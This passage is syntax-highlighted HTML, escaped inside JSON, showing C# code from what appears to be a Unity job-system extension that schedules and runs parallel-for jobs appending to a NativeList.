\u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCapacity\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSetCapacity\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobWrapper\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAppendBuffer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetUnsafeList\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobData\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escheduleParams\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobScheduleParameters\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUnsafeUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAddressOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetReflectionData\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobHandle\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eRun\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleParallelFor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escheduleParams\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobHandle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleByRef\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNativeList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einnerloopBatchCount\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobHandle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edependsOn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobHandle\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunmanaged\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estruct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCapacity\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSetCapacity\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobWrapper\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAppendBuffer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetUnsafeList\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobData\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escheduleParams\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobScheduleParameters\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUnsafeUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAddressOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetReflectionData\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edependsOn\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eParallel\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleParallelFor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escheduleParams\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einnerloopBatchCount\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRunByRef\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNativeList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunmanaged\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estruct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCapacity\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSetCapacity\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobWrapper\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAppendBuffer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetUnsafeList\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobData\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escheduleParams\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobScheduleParameters\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUnsafeUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAddressOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetReflectionData\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobHandle\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eRun\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan 